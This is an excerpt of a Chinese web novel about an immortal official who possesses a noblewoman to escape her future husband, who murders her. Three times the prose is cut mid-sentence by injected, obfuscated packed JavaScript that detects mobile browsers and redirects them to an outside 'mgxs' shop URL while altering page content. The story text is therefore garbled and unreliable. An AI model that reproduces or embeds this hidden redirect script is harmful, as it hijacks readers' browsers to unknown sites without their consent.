《重生办事处来了个砸场子的》 1. 重生 镜花水月悬在半空,水色如雾,光影流转。 一个女子的一生,在镜中不断浮现。 花辞树站在镜前,不知已看了多久。 水镜中,画面再一次放慢。 ——那是人间的一间寝房。 夜色沉沉,帐幔低垂,烛火早已熄灭,屋内静得出奇。仿佛只是寻常一夜,没有半分异样。 床榻之上,女子仰躺着,呼吸均匀,安然沉睡。下一刻,一双手却从身畔伸过来,覆上了她的颈项。 花辞树指尖微动,镜花水月的画面随之拉近。 凶手的脸,清晰地映入水镜。 男子不过二十来岁,一身中衣未整,领口微敞,像是刚从睡梦中醒来,一双眼中却毫无睡意,异常清醒。 他的容貌生得极好,眉目英俊,轮廓分明,带着久居高位的从容贵气,甚至还带着几分让人不自觉心生信任的儒雅斯文。 然而此刻,他正亲手掐着女子的脖颈。 他的脸上,没有丝毫狰狞,只有冷静。仿佛他不是在杀人,而是在专注欣赏枕边爱人的睡颜。 镜花水月中,女子终于挣扎起来。 她的手下意识抬起,抓住了他的手腕。她拼尽全力睁开眼,视线在夜色中晃了晃,终于勉强聚焦。 她看清了那张脸—— 萧容时,那是她结发十年,琴瑟和鸣的夫君。 几乎便在认出他的这一瞬间,女子的呼吸停住了。她的瞳孔尚未完全涣散,唇微微张着,像是有一句话来不及问出口。 花辞树站在镜前,看着那双眼睛。 相比于濒死的痛楚与恐惧,那眼中更多的,是一种让人脊背发凉的震惊,和困惑。 没有仇怨,没有争吵,没有理由。 她想不明白。 花辞树也想不明白。 她抬手,在镜花水月上轻轻一点。 画面回退。 再一次。 同样的国公府,同样的日日夜夜,同样的人…… 她反复拉回,反复观看,像是想从某一个微不足道的细节里,找出哪怕一丝破绽。 可没有。无论重放多少次,记忆中那张脸,始终温文尔雅,清贵端方。 “嘿,小花!”身后忽然传来一声呼唤,打破了镜前凝滞的空气。 声音不高,语调却很随意,带着熟稔的懒散,仿佛这里不是悬着生死因果的重生办事处,而是某个可以随意串门的街坊。 花辞树没有回头。 “都快下凡了,还在看这个啊?”来人凑近几步,探头瞧了眼镜花水月里的画面,忍不住“啧”了一声,“怎么样,有想法了吗?” 花辞树抬手将水镜抹散。浮光化作无数细碎的光点,缓缓消散在空气里。 她这才转过身,摇了摇头:“没有。想不通。” 来人闻言,也跟着摇头,一脸的百思不得其解:“可不是嘛,大景朝堂堂国公府世子,在人间可不是一般的显赫。华姝又是镇关侯爷、定北大将军之女,两家门当户对,早就定了娃娃亲。 成婚十年,夫妻恩爱,连一房小妾都没有,孩子都生了三个了,却忽然跟疯了似的,亲手掐死发妻…… 这怎么想也太奇怪了嘛!” 他皱着眉头,满脸困惑,又带着几分不满,“说起来,镜花水月居然只能看到华姝本人视角的记忆,实在太不方便了。 堂堂仙界,连个全视角的法器都没有吗?你们重生办事处的设备,真该升级了……” 花辞树这才转头看向来人,目光淡淡的,带着几分久经摧残后的冷静。 “谢不言,”她不紧不慢地开口,“这个名字是谁给你取的?依我看,不如改叫谢多言吧。” 来人正侃侃而谈,被这么打了个岔,怔了一怔,才摆摆手道:“师父给我起这个名字,意思是说,我要是能‘不言’,那可真是谢谢了。” 花辞树嘴角抽了抽:“如此说来,这名字倒是贴切得很。” 谢不言咧嘴一笑,憨厚道:“嘿嘿,我现在还是更喜欢‘符箓灵官’这个名字……” “不就是在仙符仓库里轮班看门的吗……”花辞树嘟囔。 “啊,你的嘴像刀子。”谢不言好似中了一刀,捂着心口后退半步,“再怎么说,我也是近百年来第一个飞升到仙界的人类。就算只能从基层做起,那未来也是前途无量啊!” “好好好,符箓灵官。”花辞树笑着敷衍,“我记得你今日当班,怎么有空过来?” “还不是为了你,特意申请了调休!”谢不言立刻正色起来,“你今日便要下凡,去附身华姝了,我当然要来送你一程。” 他清了清嗓子,一脸郑重,“我想过了,以华姝的家世,你手头肯定不会缺钱。华姝出身将门,一般的小毛贼、登徒子,也近不了身。 只是,这毕竟是你第一次下凡,人生地不熟,仙界法力又会被完全限制,还要对上那么个变态杀妻狂……我还是不大放心。” 他说着,话锋一转,又眉飞色舞起来,“这不,看我给你带什么好东西来了?” 话音未落,他已从怀里鬼鬼祟祟掏出薄薄一叠符纸,一共三张。 花辞树挑了挑眉:“我们符箓灵官,这是监守自盗了?” “嘘!”谢不言连忙压低嗓音,“我们读书人的事,不能叫偷!库里那么多灵符,我顺手抽了三张,给你作不时之需。怎么样,够意思吧!” 言罢,他便豪情万丈地将符纸塞到了花辞树手中。 花辞树低头看去,只见第一张符纸正中,龙飞凤舞地写着三个大字——“枯萎符”。 她一怔:“这是什么意思?” 谢不言努了努嘴:“背面有使用说明。” 花辞树将信将疑地把符纸翻了过去,目光落在背面那一行小字上,细细读来:“在一炷香的时间内,让一株植物迅速衰败,彻底枯死。” 她缓缓吸了一口气,抬头看向谢不言,语气克制:“请问,这张符,对我有任何用处吗?” 谢不言挠了挠头,小心翼翼道:“你也知道,我只是个仓库看门的,不能私自调用任何符纸。当然只敢拿角落里最无人问津的了…… 否则,万一被哪位仙官发现了,我这才刚飞升上来没多久,没根基没背景,不是找不痛快吗……” 花辞树面无表情:“换句话说,你给我这三张,都是最废、最没用、最不会被想起,就连丢了也永远不会有人发现的咯?” “咳咳咳……”谢不言连连咳嗽几声,“人间有句诗,所谓天生我材必有用。没有没用的符纸,只有不会用的人。 我相信,以我们小花的聪明才智,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491548|202254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定能将每张符纸都物尽其用,用出风格,用出水平,用出新花样……” “谢不言!”花辞树忍无可忍了。 “好好好……”谢不言立刻举手投降,“先看下一张,下一张。” 花辞树没好气地将第一张符纸压到下面,拿出第二张,逐字念道:“……声控符?” 依旧语焉不详。 她已经有了经验,直接翻到背面,接着念道:“控制任意目标,立即大叫一声。” 花辞树:…… 谢不言神色一赧,硬着头皮道:“至少,能控制人了不是?任他武功再高,修养再深,也得给咱叫出这一声!” 花辞树:…… “下一个,下一个……”谢不言连声催促。 果然是仓库里最废的符啊……花辞树已经不报任何指望,耷拉着眼皮看向下一张,随口道:“定身符?” 她顿了顿,眉梢一抬,不由微讶:“咦,这个倒很有用啊。” 定身符,字面意思,与前两张“草见愁”和“逼人吼”的鸡肋符纸比起来,实在也太正常了些。 “嗯,是、是啊……”谢不言干笑了两声。 花辞树眯了眯眼,不对啊,这个家伙,居然没有趁机自吹自擂一番? 心里爬出一丝不妙的预感,花辞树将定身符翻到背面:“在一炷香的时间内,让施符人自身无法动弹——什么?我定我自己?” 沉默一瞬,花辞树将符纸一把拍在谢不言脑门上:“这已经不是没用了吧!根本就是副作用啊!” 谢不言躲也不敢躲,好声好气道:“这张……大概是制符仙人不小心设定反了,所以一直也没人用……你尽管放心施展,绝对不会被人追究的。” “施展你个大头鬼啊!”花辞树吼了一声,“把自己定住,任别人施展是吧!” “这个、这个……”谢不言挠了挠头,“比如说,你生气想打人的时候,至少可以先把自己定住冷静一下嘛……” 看着花辞树的神情,显然现在就正是想打人的时候……谢不言连忙将三张符纸收拢起来,整齐叠好,不由分说地塞进了花辞树腰间的锦带里。 “对了!”他一惊一乍,迅速转移话题,“你这次下凡只有三个月,杀妻案根本一筹莫展,你要怎么查?” 花辞树摇了摇头:“我的任务只是帮华姝改写被杀的命运。只要解除婚约,自此远离萧容时,便够了。” 谢不言一怔:“你是说,你不打算查出真相?” 花辞树已经懒得再计较那几张符纸的事,再抬眼时,神情已恢复平静:“萧容时此人,在华姝的记忆里近乎完美,毫无破绽。要找出蛛丝马迹,查明真相,再以此退婚,时间太过仓促。 更何况,萧容时是在成婚十年后忽然杀人,他的动机,很可能源于后来发生的某件事。而我要去的时间,是在婚前三个月。 在这个时间点,他的动机可能还未发生,自然也无从查起。” 谢不言听着,也觉有理,沉默半晌,才道:“那你要怎么退婚?华姝那个大将军老爹,可是最重承诺的,就算他再宠女儿,也不可能无缘无故答应让你退亲。 更何况,那萧容时风度翩翩,年轻有为……任谁去看,也实在是绝佳的夫婿人选啊。” 花辞树笑了笑:“这个嘛,我自有打算。” 2. 下凡 谢不言嘴唇动了动,似是想再追问,终究却只长长地叹了一口气:“唉,你们重生办事处也真是的,设备落后也就算了,怎么连重生魂魄都能卡住,还要你去附身,才能维持时空运转…… 我怎么想,都觉得不对劲。 你这一去,任务什么的还在其次,你可一定要全须全尾地回来啊!” 花辞树嘴角抽了抽,眼中却浮出一丝暖意。 便在此时,镜花水月旁,一道结界光纹悄然亮起。光晕如水中涟漪般层层铺开,灵力流转间,阵法已然成形。 谢不言话音一顿,脸上的神情微微一变:“……时间到了?” “嗯。”花辞树应了一声,像是想起什么,“对了,你的师门具体在何处?我若有空,替你去看看他们。” 谢不言一愣,安静片刻,才笑着摇了摇头,神色难得深沉:“既已飞升,便该斩断尘缘,便是看了,也不过徒增离愁。 更何况,我师门在深山道门,离晏京相距甚远,真要去那儿一趟,怕是三个月都要耗去大半了。” “好吧。”花辞树没再坚持,“你在仙界规矩些,等我回来,给你讲人间的故事。” 谢不言眼眶顿时红了,一把拉住花辞树的衣袖,哽咽道:“小花儿啊,偌大仙界,我可就你这一个朋友能说说话。这一连三个月没有你,我可怎么过啊!” 花辞树嘴角猛抽:“我不过是出趟公差,你别搞煽情。” 言罢,她未再拖延,缓步走入阵中。 脚下的符纹随之转动,宛如一朵无声绽开的花。幽光沿着纹路流淌,一寸寸攀上她的衣摆,光影交错间,周遭的空气仿佛被生生撕裂,发出轻微的震颤。 “三个月后见——!” 黑暗彻底覆上视野前,花辞树只听见谢不言带着哭腔的呼喊。 天地骤然翻转,花辞树猛地睁开眼。 一阵陌生而真实的重量感压在四肢百骸,她下意识抬手,却发现动作慢了一拍,指尖微凉,掌心却传来清晰的温度。 这……便是人类的肉身。 床帐低垂,夜色正深,一盏小巧的烛灯静静亮在角落,映出些许柔和的暖光。 花辞树四下扫了一眼,确认无误——这是在人间,景朝,晏京。 华姝,镇关侯、定北大将军华嵘膝下独女,自幼在边城长大,无忧无虑,对那门从小定下的亲事,原本并未放在心上。 直到得知婚期将近,才终于闹到父亲跟前,不愿嫁给一个素未谋面的男人。 镇关侯重诺,一生言出必行,虽对女儿格外娇宠,可唯独这桩婚事,他不许退。 不退亲,却终归还是退了一步。 “先去晏京相看相看,这总行了吧。”他拍着胸口打包票,“萧容时那小子一表人才,性情端方,文治武功,绝非什么纨绔浪荡之辈,姝儿一见,定会欢喜。 等过俩月,爹将军中之事料理妥当了,便立刻动身,去晏京喝我女儿的喜酒!” 华姝这才被哄着上了路。 而后来发生的事,也确如她父亲所言。 初到晏京,相看那一日,她瞧去一眼,目光相撞—— 翩翩君子,红鸾星动。 花辞树轻叹一声。 便在此时,帐外传来一阵极轻的脚步声。 “姑娘?” 有人压低声音,试探着唤了一声。 花辞树一顿,随即顺着记忆应道:“嗯?” 帐幔被轻轻掀开一角,暖黄的灯影晃了晃,露出一张圆润喜气的脸来。 是跟着华姝从边城一路进京的贴身婢女,青岚。 “姑娘方才动了动,可是要喝口水?” 花辞树顺势坐起身来,嗓音还带着几分初醒的微哑:“不必,现在什么时辰了?” “快子时了。”青岚笑着回道,“明日便要去灵安寺,姑娘可是睡不着了?” 灵安寺。 花辞树在心里轻轻重复了一遍。 原来那场相看,恰好便在明日了。 靖国公萧衡,与华嵘当年随先帝一同打天下,如今虽已荣养晏京,当年的情分却丝毫不减。看到华嵘在信中口口声声说要女儿相看,笑骂几句“老东西一把年纪还不知稳重”,却也并不介意。 毕竟,让两个孩子在成婚前熟络熟络,多培养些情分,往后日子过得和顺,也是一桩实实在在的美事。 国公府行事,一向妥帖周全。这场所谓的“相看”,便被安排在了晏京郊外的灵安寺。 名为上香,实则见人。 花辞树心中并无波澜,只道:“青岚,明日,你一个人陪我去便是了。” 青岚一愣,随口便道:“不是说好,我和绛雪都陪姑娘去吗?” 花辞树不假思索道:“佛门圣地,最重清净,国公夫人见我不讲排场,诚心礼佛,自然会心生好感。” 青岚听得一怔,随即笑了起来:“不愧是姑娘,这才刚到晏京没几日,便想得这样周全,等老爷来一看,必定要喜上眉梢。” 花辞树只微微一笑。 青岚又接着道:“姑娘还是早些睡吧,虽说明日要见萧家人,可姑娘也不必紧张。婢子早已打听过了,国公夫人为人慈和,世子爷更是风评极好。 老爷一向疼姑娘,这桩姻缘真是再稳妥不过了!” 花辞树垂下眼,没有多说什么。 青岚伸手替她掖了掖被角,憨笑两声:“姑娘快睡吧,婢子不吵姑娘了。” 帐幔重新落下,室内归于寂静。 花辞树躺回枕上,望着帐顶那一片模糊的暗色花纹,脑海里却异常清醒。 前世,华姝便是在那张看起来同样安稳的床榻上,被人亲手掐断了呼吸。 明日,便要见到那位未来的杀人凶手了…… 三个月,正式开始倒数。 …… 灵安寺香火鼎盛,清净庄严。晏京的高门士族,在诚心敬佛之外,也常借游寺之名往来结交,最是规矩体面。 晏京刚刚入夏,花辞树换了一身浅色衣裙,绣纹不甚繁复,发间也只配了一枚玉簪,素净而不寡淡。 正殿前的空地上香火萦绕,一位夫人立在廊边,看起来不过四十出头。她衣着端庄,眉目慈和,虽鬓边已添了不少白发,可仅从五官轮廓,便能想见年轻时的风华。 一见花辞树,这位夫人便先露出了笑意。 花辞树早已将华姝的记忆翻得滚瓜烂熟,自然一眼便认了出来,这位夫人,正是国公夫人。 “这便是华家姑娘吧?生得真好。”国公夫人笑着开口,带着毫不掩饰的亲近,“虽在边城长大,却天生这般玉质,更有晏京少见的干净飒爽。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491549|202254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫说是我了,便是国公爷见着,也必定欢喜。” 国公夫人句句夸赞,句句听得出打心底里的诚意,不见半点公府威风,更没有立规矩、探深浅的长辈架子,让人不由便心生亲近,浑身熨帖。 花辞树在心底暗叹一声,为华姝由衷地感到惋惜。 她没有迟疑或扭捏,大方上前一步,规规矩矩行了晚辈礼。 既然是相看,那其实也是互相的。花辞树最初冒出的第一个念头便是,只要在相看时,她表现得糟糕些,让国公夫人满心看不上她,这门亲事,或许便能作罢。 可是,她转念便否定了这个打算。 一来,在华姝的记忆中,这位国公夫人性子极为柔和,绝非多事之人,恐怕不会因为一时不满,便推翻国公爷早已定下的亲事。 二来,若真要表现糟糕到人神共愤的程度,哪怕成功退了婚,可华姝的口碑自然也毁了。待三个月后,华姝本人换回这具身体,又该如何自处? 花辞树明白,自己是以华姝的身份站在这里,就要为华姝的未来负责。 所以,退亲还是要退,却绝不能是因为华姝的原因,而被对方退。 寒暄几句后,国公夫人稍稍侧身,笑着介绍道:“这是我的长子,容时。” 萧容时上前一步,行了一礼,声音温和:“久闻华姑娘英名,今日得见,实乃幸事。” 花辞树早便瞥见国公夫人身后之人,此时却才抬眼,正眼去瞧。 此人一身月白长袍,站姿端正,与华姝记忆中一模一样。甚至如今近看之下,更觉其气质温润,眉目清正,不论神情还是言语,哪怕是落在她面上的目光,都沉稳得体,没有半分轻浮。 对着华姝,他没有说“芳名”,而用了“英名”二字,更是对极了这位将门之女的性情。 若非早已知晓结局,这的确是一个极容易让人心生好感的男人。 英俊端方的夫君,和蔼可亲的婆母,花辞树理解了华姝的一见倾心。 她微微一笑,还礼:“世子言重了。” 国公夫人的笑容更深了些,目光在两人之间略作停留,神情愈发满意,才接着道:“这是次子,容与。” 一瞬间,花辞树愣住了。 国公夫人所指之人,她方才也瞧见了。 此人与萧容时截然不同,深色外袍领口微敞,整个人懒散地倚在不远处的廊柱上,像是百无聊赖地误入此地,对一切毫不上心。垂着头时,鬓发遮住了半边侧脸,看不清面容。 在华姝的记忆中,从未出现过这样一个人。是以方才,花辞树只当是哪家贵公子在此等人,不过是个无关紧要的过客,连一眼也不曾多看。 然而此时,国公夫人竟一脸慈爱地看向他,说他是——次子? 花辞树心头微微一震。 记忆迅速翻动,她记得,国公夫人的确育有两子,可次子萧容与,早在两岁时便不慎走失了。 国公夫人疯也似地寻了许多年,更是四处求神拜佛,却始终没能寻回那个孩子。 至少,直到十年后华姝身死时,这位二公子仍旧不知所踪。 此事几乎成了国公夫人的心病,整座公府无人敢提。华姝也是在嫁进公府后,才被嬷嬷私下告知,叮嘱她务必避开相关话题。 可是此时此刻,眼前,怎会凭空冒出一位二公子? 3. 嫂子 花辞树的目光在国公夫人面上多留了片刻,如此细细分辨之下,却才发现,她虽鬓发花白,可看气色,却比华姝记忆中要好了许多,眼底清亮,精神饱满。 那份慈爱仍在,却多了几分舒展的容光,少了那份常年压在眉心的郁结。 莫非,也是因为丢失多年的幼子,失而复得了? 可是,这怎么可能? “未来嫂子。” 那青年在国公夫人的一声介绍之后,才慢悠悠地站直了些,并未行什么正式的礼数,只拱了拱手,语气懒散。 花辞树猛地抬眼,与他的目光直直撞上。 这是一双极亮的眼睛,即便带着漫不经心,也掩不去那一丝清明的锋芒。 若说萧容时是端正如玉,让人一眼便心生信任的相貌,那眼前这人,便是锋锐而张扬。五官轮廓分明,眉骨略高,鼻梁挺直,唇线偏薄,勾着几分若有若无的弧度。 显然比萧容时更为出众,却也……更为可疑。 花辞树的眉头难以克制地动了动。 华姝的记忆不可能出错,那么,出问题的,是这个人间? 不论是哪一环出了偏差,这次附身任务,显然已经出现了意料之外的变故。 所谓牵一发而动全身,若萧容与的命运能变,那其他千丝万缕的一切,会不会也都偏离了原有的轨道? 谢不言那个乌鸦嘴,说什么不对劲、不对劲,如今看来,还真是不对劲了…… 花辞树的沉默显然久了些,国公夫人只当是萧容与那一声“未来嫂子”太过失礼,叫姑娘一时不知如何应对,连忙笑着打圆场:“容与这小子,都是被我惯坏了,向来没个正形,华姑娘莫要与他计较。” “无妨。”花辞树收回视线,迅速平复心绪。 国公夫人上前两步,亲切地拉住了她的手:“你这丫头,我一看便欢喜得紧,实是有缘,不如一同进殿吧。” 她说着,又看向两个儿子,语中含笑,“有姝儿陪我,你们两个,该上香的上香,该拜佛的拜佛,莫来扰我,等到午时,再到斋堂一同用饭。” 说罢,便不再理会两个儿子,拉着花辞树向里走,“姝儿刚到晏京,想必还不知,这灵安寺的斋饭可是一绝……” …… 和这样一位亲切宽厚的长辈相处,本该是一件如沐春风的事,可花辞树却生出几分疲惫,原因无他——不习惯。 她习惯了一个人待在重生办事处,也习惯了谢不言的自说自话。而对着国公夫人,却要时时拿捏分寸,既不冷淡,又不过分亲近。 对于花辞树这个从未在人际往来上花过半点心思的小仙来说,难免有些耗神。 一顿斋饭下来,更是食不知味。 好在午饭后,国公夫人便要到厢房小憩,之后还要去观音殿跪拜诵经,花辞树才终于得了清闲。 她身为贵客,灵安寺亦为她安排了清净的厢房。然而走到门口,她却停下脚步。 “青岚。”她随口吩咐道,“你在厢房候着,我要四处走走。” 青岚自始至终跟在她身侧,平日虽性子活泼,在国公夫人面前却没有一句多话,此时才眨了眨眼,道:“姑娘要去哪里?” 这丫头陪着华姝自小长大,亲近惯了,问起话来也不甚讲究规矩。 花辞树道:“国公夫人虔诚礼佛,往后许会常来,我四下熟悉一番,再向寺中僧人打听打听,往后亲自供奉一盏长寿灯。想必国公夫人也能领我这份心意。” 青岚眼睛一亮:“姑娘好主意,婢子也陪姑娘去吧!” 花辞树微微一笑:“我们都不在房中,国公夫人若再寻我,岂非失了礼数?” 青岚一怔,随即连连点头,神情愈发钦佩:“是是是,还是姑娘想得周全。姑娘放心去吧,婢子会好好守着的。” 花辞树轻点下头,径自走了。 这灵安寺,华姝在婚后的十年中,的确陪着国公夫人来过无数次。寺中殿宇分布、回廊曲折,花辞树都了然于心。 她这一趟,自然不是为了所谓的熟悉环境。 在华姝的记忆中,萧容时与这灵安寺,向来走得不远不近。 其一,他为母亲在寺里供奉了一盏长寿灯,以表孝道。 其二,三年前,晏京曾遭百年一遇的大雪灾,城内外死难者数以千计。彼时,萧容时曾在灵安寺设下法事,超度亡魂,又亲自供奉了往生牌位,祈愿亡者往生极乐。 此后年年供奉香火,直至婚后十年也不曾断过。 若说这是为图一个好名声,可萧容时偏偏低调得很,从不对外宣扬。也就是华姝这朝夕相处十年的枕边人,才略知一二。 可花辞树不觉得,一个能面不改色,亲手掐死发妻之人,会对那些素昧平生的死者,怀有这等悲悯心肠。 任何异常的行为,必然都有其合理之处——只是不为人知罢了。 花辞树笼着袖子,顺着青石小径缓步而行。 她的目的地,正是后殿的往生堂。 她并不执着于查出萧容时是否藏着什么秘密,可常言道,知己知彼,方能百战不殆。 萧容时此人,从华姝的记忆里看去,几乎无懈可击——不嗜酒,不好色,不赌不奢,行止克制,待人温和,从年少时起,便有“晏京第一公子”之称。 要与这样一个隐藏极深的伪君子打交道,自然是了解得越多,越稳妥。 花辞树心里盘算着,已行至后院。主殿香火鼎盛,人声隐约,而至此处,便只剩下风声轻响。 后院通往后山的小径旁,立着一棵古树。 花辞树记得,这棵树已有数百年树龄。前朝末年战乱频仍,晏京烽火四起,寺庙多有焚毁,这棵树却在战火中活了下来。本朝立国后,便被视作祥瑞之兆,每逢月中十五,灵安寺便会开放此处,供百姓前来祈福。 树干粗壮,枝叶繁盛,树上各处早已挂满了祈愿红绳。 今日并非十五,树下却站着一个小姑娘。 看年纪不过七八岁,梳着双丫髻,衣裳用料考究,绣纹精致,一看便知出身不俗。她绕着树干转来转去,时不时停下来,仰头去看树冠,不知在找什么。 这样年纪的孩子,又是在贵人常来的寺庙里,身边至少也该有婢女跟着。可这小姑娘身旁,却空无一人。 花辞树并不打算多管闲事。 孩子顽皮,甩开大人偷偷跑出来玩,也不算稀罕事。她正要移开视线,脚步却稍稍顿了一下。 风起。初夏的风虽不冷,却带着几分突如其来的力道。拂过树梢,无数红绳随之飞舞。 花辞树的目光却落在树上,树……动了?不是树梢,是——树干。 极其细微的一动,几乎难以察觉。花辞树下意识眯了眯眼,莫非是自己眼花了? 她站定不动,又看了一会,眉心微动,缓缓向古树走去。 小姑娘仍在树下转着圈,并未察觉她的靠近。 她的视线落在树根周围的地面上。泥土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491550|202254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颜色略深,越接近树的位置,脚踩上去越显松软。 百年古树,根系盘错,土壤本该紧实稳固,不该是这样的质感。 “小姑娘。”花辞树开口唤了一声,不论是自己多心,还是真有什么蹊跷,先带孩子离开这里再说。 便在此时,身后忽而风声一紧。 下一瞬,一道身影几乎贴着她掠了过去。速度极快,来势毫无预兆。 花辞树心中警铃大作,本能地绷紧了身体。华姝有几分拳脚,她虽然尚未试过,却在这一瞬间做好了出手的准备。 转眼间,这道身影已经立在她与小姑娘之间。 花辞树抬眼看去的瞬间,目光骤然一凝——萧容与? 来人,竟是国公府那位二公子? 花辞树的戒备不减反增。 相比于萧容时那个已知的未来凶手,此人在记忆中从未出现,不知因果,不知善恶,不知深浅。 而未知本身,便足够值得提防。 花辞树谨慎地盯着他的动作,瞳孔却忽然一缩。 男子身形修长,出手干脆利落,衣袍还带着未散的风。而他的右手举在小姑娘头顶上方,正死死扣着一条蛇。 黑褐色的蛇身在他掌中剧烈扭动,蛇头扁阔,蛇信吞吐,显然是条毒蛇。 花辞树这才明白,小姑娘一心盯着树冠,而她又盯着脚下的土地,竟无人发现,有条蛇盘踞在树干阴影之后,几乎与树皮融为一色,对小姑娘伺机而动。 看萧容与手臂的位置,恐怕是在毒蛇暴起的刹那,将蛇生生抓在了半空。 他五指紧扣着蛇的七寸,手腕一拧,力道极狠,只听“咔”的一声脆响,蛇身猛地一僵。 他随手一甩,将死蛇甩到一旁,蛇身砸落在地,发出一声闷响。 直到此时,小姑娘才后知后觉地看见了地上的蛇。 她张了张嘴,甚至来不及尖叫一声,便两眼一翻,整个人向后软倒。 花辞树一把将小姑娘接住,正要将人背起离开,余光却忽而一动。 刚刚甩开死蛇的萧容与,正抬手撑向一旁古树那粗壮的树干。 “别——”花辞树刚刚喊出一个字,萧容与整个人已经靠在了树干之上。 几乎便在同时,脚下传来一阵闷响。树干猛地向一侧倾倒,脚下的泥土仿佛被人抽空了根基,地面骤然向下陷去。 花辞树只来得及将小姑娘护在怀里,整个人便随之下坠。 落地来得很快,背脊撞上松软的泥土时,疼痛并不算剧烈。孩子仍被她稳稳护着,虽然仍旧昏迷未醒,却未再添外伤。 四周尘泥翻涌。整棵古树斜斜倾倒下来,架在坑口边缘,枝叶簌簌坠落。 坑并不深,不过比寻常成年男子高出半身罢了,然而粗壮的树干就在头顶不远处横着,生生封住了坑口。只有两侧细细的缝隙,透下微弱的天光。 也正是因为有坑口的支撑,树干才未砸实,在底下留出了一道狭窄却刚刚足以容身的空间。 花辞树轻手将孩子放到一边,喘了口气,才坐起身来。 视线中,萧容与跌坐在不远处,背靠着塌陷的土壁,沉沉喘息。 他正看向花辞树,目光中带着一丝讶然:“未来嫂子,怎么是你?” 很显然,方才情势太过紧急,他只顾着捉蛇,并未看清身边之人。 花辞树也看向他,不答反问:“你被蛇咬到了?” 萧容与眉心一跳:“你怎么知道?” 4. 玩笑 花辞树心下微沉。方才他身形骤掠而至,从那速度、准度、力道都可看出,他是习武之人,而且身手不低。 可方才树塌之时,他却连半分提气跃起的动作都没有。 他能在瞬息之间抓住暴起的毒蛇,自然不会是来不及反应,而是——不能。 身中蛇毒后,一旦运气运功,加速毒血攻心,则神仙难救。 花辞树并未多做解释。狭窄的空间不容人直身站起,她便矮着身,两步走到他跟前,一把抓住他的手腕,将衣袖向上推起。 果然,手腕处两点血印清晰可见,周围肌肤都泛着不正常的暗色。 花辞树没有迟疑,从怀中取出一方绣帕,绕着他的小臂系紧,又反复拉实,尽量延缓毒血流回心脉。 然后,她从袖中取出一柄短匕首,寒光一闪。 “嫂子?”萧容与目光微动,显然有些意外,“你这是做什么?” “放血。”花辞树简单说了两个字。 萧容与微微一顿,倒也没有躲开,反而顺势放松了手腕。 花辞树手起刀落,干脆利索,在他手腕处割开了一道口子,黑血汩汩而出。 萧容与低低嘶了一声,动作虽顺从,嘴上还是抱怨道:“嫂子,我听说这种时候,救人者通常都是用嘴将毒血吸出来的。” 花辞树将刀刃在他衣袖上擦拭干净,重新收回袖中,这才回道:“第一,用嘴吸毒,我会有中毒的风险。第二,男女授受不亲。” 萧容与嘴角抽了抽。 方才她拉他手腕、掀他衣袖,一气呵成,毫不拖泥带水,哪有半点“男女授受不亲”的顾忌?分明就是嫌弃毒血才对吧…… 花辞树已继续道:“刀割在手腕这个位置,难免会失血多些,待黑血流得差不多了,你自行包扎。出去后尽快找人医毒,国公府不缺良医,自然不必我多说了。” 萧容与拱了拱手,懒懒一笑,半点没有身中蛇毒的紧张:“嫂子不愧是将门之女,如此胆大心细,处变不惊,真是巾帼不让须眉。” 花辞树皱了皱眉:“不要叫我嫂子。你可以叫我华大小姐。” 萧容与微微一怔,随即笑道:“那多生分。三个月后,咱们便是一家人了,嫂子莫与我见外。” 花辞树不欲与这凭空多出来的可疑之人多谈这个话题,只淡淡转开视线,不再接话。 萧容与眯了眯眼,似在认真揣摩:“难道嫂子是没相中?不可能啊,我大哥一表人才,风度翩翩,凡是见过他的人,就没有不满意的。” 花辞树仰头望天,被头顶的树干阻隔了视线。 萧容与察觉到她的视线,想安慰一句别怕,却在她脸上看不到一丝惶恐或忧虑。 他的唇角不由弯了弯,道:“午饭后,寺中僧人按例都会集合于禅堂坐禅内修,顶多再过半个时辰,便会有人发现我们,设法解救。” 花辞树这才终于开口:“你最好盼着,没有人发现我们。” 萧容与眉梢轻轻一挑:“这是为何?” “这棵古树,乃是祈福祥瑞之树,在此数百年,历经战火而未朽,偏偏你我站在树下时,便从根基处轰然倒塌。”花辞树啧啧两声,“你说,这事若是被旁人知晓,你我会不会都成了不祥之人?” 萧容与脸上的笑意反而更深了些,语气依旧轻松:“嫂子不必担心这个,我们国公府,绝不会在意这等虚名,更不会因为那些捕风捉影的说辞,而对你有半分成见。” 花辞树轻笑一声,转头看向他:“我可以不在乎名声,你也可以不在乎名声。可我父亲征战多年,浴血疆场,是英雄,我不能让他成为不祥之人的父亲。” 她顿了顿,目光直直落在他脸上,“而你,是不是愿意让你那位慈爱宽厚的母亲,成了不祥之人的母亲?” 